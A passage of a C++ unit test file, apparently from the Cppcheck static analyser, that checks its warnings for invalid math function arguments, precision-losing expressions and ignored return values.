(error) Invalid log10l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -1.0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -1.0 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -1.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -1.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -1.0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -1.0 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -1.0 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -1.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -1.0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -2.0 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -2.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -2.0 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(-0.1) << std::endl;\\n\"\n \" std::cout << logf(-0.1) << std::endl;\\n\"\n \" std::cout << logl(-0.1) << std::endl;\\n\"\n \" std::cout << log10(-0.1) << std::endl;\\n\"\n \" std::cout << log10f(-0.1) << std::endl;\\n\"\n \" std::cout << log10l(-0.1) << std::endl;\\n\"\n \" std::cout << log2(-0.1) << std::endl;\\n\"\n \" std::cout << log2f(-0.1) << std::endl;\\n\"\n \" std::cout << log2l(-0.1) << std::endl;\\n\"\n \" std::cout << log1p(-1.1) << std::endl;\\n\"\n \" std::cout << log1pf(-1.1) << std::endl;\\n\"\n \" std::cout << log1pl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid log() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid logf() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid logl() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:27]: (error) Invalid log10() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:28]: (error) Invalid log10f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:28]: (error) Invalid log10l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:26]: (error) Invalid log2() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:27]: (error) Invalid log2f() argument nr 1. The value is -0.1 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:27]: (error) Invalid log2l() argument nr 1. The value is -0.1 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value -0.1 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value -0.1 to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value -0.1 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value -0.1 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value -0.1 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value -0.1 to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value -0.1 to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value -0.1 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value -0.1 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1.1 to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.1 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1.1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(0) << std::endl;\\n\"\n \" std::cout << logf(0.) << std::endl;\\n\"\n \" std::cout << logl(0.0) << std::endl;\\n\"\n \" std::cout << log10(0.0) << std::endl;\\n\"\n \" std::cout << log10f(0) << std::endl;\\n\"\n \" std::cout << log10l(0.) << std::endl;\\n\"\n \" std::cout << log2(0.) << std::endl;\\n\"\n \" std::cout << log2f(0.0) << std::endl;\\n\"\n \" std::cout << log2l(0) << std::endl;\\n\"\n \" std::cout << log1p(-1.) << std::endl;\\n\"\n \" std::cout << log1pf(-1.0) << std::endl;\\n\"\n \" std::cout << log1pl(-1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (error) Invalid log() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:25]: (error) Invalid logf() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:25]: (error) Invalid logl() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:6:26]: (error) Invalid log10() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:7:26]: (error) Invalid log10f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:8:27]: (error) Invalid log10l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:9:25]: (error) Invalid log2() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:10:26]: (error) Invalid log2f() argument nr 1. The value is 0 but the valid values are '1.4013e-45:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:11:25]: (error) Invalid log2l() argument nr 1. The value is 0 but the valid values are '4.94066e-324:'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing value 0 to log() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing value 0. to logf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing value 0.0 to logl() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:6:19]: (warning) Passing value 0.0 to log10() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:7:19]: (warning) Passing value 0 to log10f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:8:19]: (warning) Passing value 0. to log10l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:9:19]: (warning) Passing value 0. to log2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:10:19]: (warning) Passing value 0.0 to log2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:11:19]: (warning) Passing value 0 to log2l() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:12:19]: (warning) Passing value -1. to log1p() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:13:19]: (warning) Passing value -1.0 to log1pf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:14:19]: (warning) Passing value -1 to log1pl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << log(1E-3) << std::endl;\\n\"\n \" std::cout << logf(1E-3) << std::endl;\\n\"\n \" std::cout << logl(1E-3) << std::endl;\\n\"\n \" std::cout << log10(1E-3) << std::endl;\\n\"\n \" std::cout << log10f(1E-3) << std::endl;\\n\"\n \" std::cout << log10l(1E-3) << std::endl;\\n\"\n \" std::cout << log2(1E-3) << std::endl;\\n\"\n \" std::cout << log2f(1E-3) << std::endl;\\n\"\n \" std::cout << log2l(1E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E-3) << std::endl;\\n\"\n \" std::cout << logf(1.0E-3) << std::endl;\\n\"\n \" std::cout << logl(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E-3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E-3) << std::endl;\\n\"\n \" std::cout << log1p(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pf(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log1pl(-1+1.0E-3) << std::endl;\\n\"\n \" std::cout << log(1.0E+3) << std::endl;\\n\"\n \" std::cout << logf(1.0E+3) << std::endl;\\n\"\n \" std::cout << logl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log10l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2f(1.0E+3) << std::endl;\\n\"\n \" std::cout << log2l(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1p(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pf(1.0E+3) << std::endl;\\n\"\n \" std::cout << log1pl(1.0E+3) << std::endl;\\n\"\n \" std::cout << log(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0) << std::endl;\\n\"\n \" std::cout << logf(2.0f) << std::endl;\\n\"\n \" std::cout << log10(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0) << std::endl;\\n\"\n \" std::cout << log10f(2.0f) << std::endl;\\n\"\n \" std::cout << log2(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0) << std::endl;\\n\"\n \" std::cout << log2f(2.0f) << std::endl;\\n\"\n \" std::cout << log1p(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0) << std::endl;\\n\"\n \" std::cout << log1pf(2.0f) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string *log(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3473 - no warning if \"log\" is a variable\n check(\"Fred::Fred() : log(0) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5748\n check(\"void f() { foo.log(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_acos() {\n // acos, acosf, acosl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return acos(-1) \\n\"\n \" + acos(0.1) \\n\"\n \" + acos(0.0001) \\n\"\n \" + acos(0.01) \\n\"\n \" + acos(1.0E-1) \\n\"\n \" + acos(-1.0E-1) \\n\"\n \" + acos(+1.0E-1) \\n\"\n \" + acos(0.1E-1) \\n\"\n \" + acos(+0.1E-1) \\n\"\n \" + acos(-0.1E-1) \\n\"\n \" + acosf(-1) \\n\"\n \" + acosf(0.1) \\n\"\n \" + acosf(0.0001) \\n\"\n \" + acosf(0.01) \\n\"\n \" + acosf(1.0E-1) \\n\"\n \" + acosf(-1.0E-1) \\n\"\n \" + acosf(+1.0E-1) \\n\"\n \" + acosf(0.1E-1) \\n\"\n \" + acosf(+0.1E-1) \\n\"\n \" + acosf(-0.1E-1) \\n\"\n \" + acosl(-1) \\n\"\n \" + acosl(0.1) \\n\"\n \" + acosl(0.0001) \\n\"\n \" + acosl(0.01) \\n\"\n \" + acosl(1.0E-1) \\n\"\n \" + acosl(-1.0E-1) \\n\"\n \" + acosl(+1.0E-1) \\n\"\n \" + acosl(0.1E-1) \\n\"\n \" + acosl(+0.1E-1) \\n\"\n \" + acosl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(1.1) << std::endl;\\n\"\n \" std::cout << acosf(1.1) << std::endl;\\n\"\n \" std::cout << acosl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid acos() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid acosf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid acosl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << acos(-1.1) << std::endl;\\n\"\n \" std::cout << acosf(-1.1) << std::endl;\\n\"\n \" std::cout << acosl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid acos() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid acosf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid acosl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_asin() {\n // asin, asinf, asinl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" return asin(1) \\n\"\n \" + asin(-1) \\n\"\n \" + asin(0.1) \\n\"\n \" + asin(0.0001) \\n\"\n \" + asin(0.01) \\n\"\n \" + asin(1.0E-1) \\n\"\n \" + asin(-1.0E-1) \\n\"\n \" + asin(+1.0E-1) \\n\"\n \" + asin(0.1E-1) \\n\"\n \" + asin(+0.1E-1) \\n\"\n \" + asin(-0.1E-1) \\n\"\n \" + asinf(1) \\n\"\n \" + asinf(-1) \\n\"\n \" + asinf(0.1) \\n\"\n \" + asinf(0.0001) \\n\"\n \" + asinf(0.01) \\n\"\n \" + asinf(1.0E-1) \\n\"\n \" + asinf(-1.0E-1) \\n\"\n \" + asinf(+1.0E-1) \\n\"\n \" + asinf(0.1E-1) \\n\"\n \" + asinf(+0.1E-1) \\n\"\n \" + asinf(-0.1E-1) \\n\"\n \" + asinl(1) \\n\"\n \" + asinl(-1) \\n\"\n \" + asinl(0.1) \\n\"\n \" + asinl(0.0001) \\n\"\n \" + asinl(0.01) \\n\"\n \" + asinl(1.0E-1) \\n\"\n \" + asinl(-1.0E-1) \\n\"\n \" + asinl(+1.0E-1) \\n\"\n \" + asinl(0.1E-1) \\n\"\n \" + asinl(+0.1E-1) \\n\"\n \" + asinl(-0.1E-1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(1.1) << std::endl;\\n\"\n \" std::cout << asinf(1.1) << std::endl;\\n\"\n \" std::cout << asinl(1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (error) Invalid asin() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:26]: (error) Invalid asinf() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:26]: (error) Invalid asinl() argument nr 1. The value is 1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << asin(-1.1) << std::endl;\\n\"\n \" std::cout << asinf(-1.1) << std::endl;\\n\"\n \" std::cout << asinl(-1.1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (error) Invalid asin() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:27]: (error) Invalid asinf() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:27]: (error) Invalid asinl() argument nr 1. The value is -1.1 but the valid values are '-1.0:1.0'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void mathfunctionCall_pow() {\n // pow, powf, powl\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,-10) << std::endl;\\n\"\n \" std::cout << powf(0,-10) << std::endl;\\n\"\n \" std::cout << powl(0,-10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and -10 to pow() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and -10 to powf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and -10 to powl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << pow(0,10) << std::endl;\\n\"\n \" std::cout << powf(0,10) << std::endl;\\n\"\n \" std::cout << powl(0,10) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_atan2() {\n // atan2\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(1,1) ;\\n\"\n \" std::cout << atan2(-1,-1) ;\\n\"\n \" std::cout << atan2(0.1,1) ;\\n\"\n \" std::cout << atan2(0.0001,100) ;\\n\"\n \" std::cout << atan2(0.0,1e-1) ;\\n\"\n \" std::cout << atan2(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2(0.1E-1,3) ;\\n\"\n \" std::cout << atan2(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2f(1,1) ;\\n\"\n \" std::cout << atan2f(-1,-1) ;\\n\"\n \" std::cout << atan2f(0.1,1) ;\\n\"\n \" std::cout << atan2f(0.0001,100) ;\\n\"\n \" std::cout << atan2f(0.0,1e-1) ;\\n\"\n \" std::cout << atan2f(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2f(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2f(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2f(0.1E-1,3) ;\\n\"\n \" std::cout << atan2f(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2f(-0.1E-1,8) ;\\n\"\n \" std::cout << atan2l(1,1) ;\\n\"\n \" std::cout << atan2l(-1,-1) ;\\n\"\n \" std::cout << atan2l(0.1,1) ;\\n\"\n \" std::cout << atan2l(0.0001,100) ;\\n\"\n \" std::cout << atan2l(0.0,1e-1) ;\\n\"\n \" std::cout << atan2l(1.0E-1,-3) ;\\n\"\n \" std::cout << atan2l(-1.0E-1,+2) ;\\n\"\n \" std::cout << atan2l(+1.0E-1,0) ;\\n\"\n \" std::cout << atan2l(0.1E-1,3) ;\\n\"\n \" std::cout << atan2l(+0.1E-1,1) ;\\n\"\n \" std::cout << atan2l(-0.1E-1,8) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << atan2(0,0) << std::endl;\\n\"\n \" std::cout << atan2f(0,0) << std::endl;\\n\"\n \" std::cout << atan2l(0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Passing values 0 and 0 to atan2() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 0 and 0 to atan2f() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 0 and 0 to atan2l() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n }\n\n void mathfunctionCall_fmod() {\n // fmod, fmodl, fmodf\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,0) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,0) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Invalid fmod() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:4:29]: (error) Invalid fmodf() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:5:29]: (error) Invalid fmodl() argument nr 2. The value is 0 but the valid values are '!0.0'. [invalidFunctionArg]\\n\"\n \"[test.cpp:3:19]: (warning) Passing values 1.0 and 0 to fmod() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:4:19]: (warning) Passing values 1.0 and 0 to fmodf() leads to implementation-defined result. [wrongmathcall]\\n\"\n \"[test.cpp:5:19]: (warning) Passing values 1.0 and 0 to fmodl() leads to implementation-defined result. [wrongmathcall]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << fmod(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodf(1.0,1) << std::endl;\\n\"\n \" std::cout << fmodl(1.0,1) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mathfunctionCall_precision() {\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1);\\n\"\n \" print(log(1 + x));\\n\"\n \" print(1 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(x) - 1.0);\\n\"\n \" print(log(1.0 + x));\\n\"\n \" print(1.0 - erf(x));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:12]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(exp(3 + x*f(a)) - 1);\\n\"\n \" print(log(x*4 + 1));\\n\"\n \" print(1 - erf(34*x + f(x) - c));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Expression 'exp(x) - 1' can be replaced by 'expm1(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:3:11]: (style) Expression 'log(1 + x)' can be replaced by 'log1p(x)' to avoid loss of precision. [unpreciseMathCall]\\n\"\n \"[test.cpp:4:11]: (style) Expression '1 - erf(x)' can be replaced by 'erfc(x)' to avoid loss of precision. [unpreciseMathCall]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" print(2*exp(x) - 1);\\n\"\n \" print(1 - erf(x)/2.0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkIgnoredReturnValue() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::warning).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:8]: (warning) Return value of function foo::mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" foo x;\\n\"\n \" x.mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function x.mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"bool mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition, but it returns a value. Assume it is the one specified in the library.\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void mystrcmp(char* a, char* b);\\n\" // cppcheck sees a custom strcmp definition which returns void!\n \"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" class mystrcmp { mystrcmp() {} };\\n\" // strcmp is a constructor definition here\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return foo::mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(mystrcmp(a, b));\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" bool b = mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6194\n check(\"void foo() {\\n\"\n \" MyStrCmp mystrcmp(x, y);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6197\n check(\"void foo() {\\n\"\n \" abc::def.mystrcmp(a,b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6233\n check(\"int main() {\\n\"\n \" auto lambda = [](double value) {\\n\"\n \" double rounded = floor(value + 0.5);\\n\"\n \" printf(\\\"Rounded value = %f\\\\n\\\", rounded);\\n\"\n \" };\\n\"\n \" lambda(13.3);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6669\n check(\"void foo(size_t size) {\\n\"\n \" void * res{malloc(size)};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7447\n check(\"void foo() {\\n\"\n \" int x{mystrcmp(a,b)};\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7905\n check(\"void foo() {\\n\"\n \" int x({mystrcmp(a,b)});\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\" // don't crash\n \" DEBUG(123)(mystrcmp(a,b))(fd);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n check(\"struct teststruct {\\n\"\n \" int testfunc1() __attribute__ ((warn_unused_result)) { return 1; }\\n\"\n \" [[nodiscard]] int testfunc2() { return 1; }\\n\"\n \" void foo() { testfunc1(); testfunc2(); }\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" teststruct TestStruct1;\\n\"\n \" TestStruct1.testfunc1();\\n\"\n \" TestStruct1.testfunc2();\\n\"\n \" return 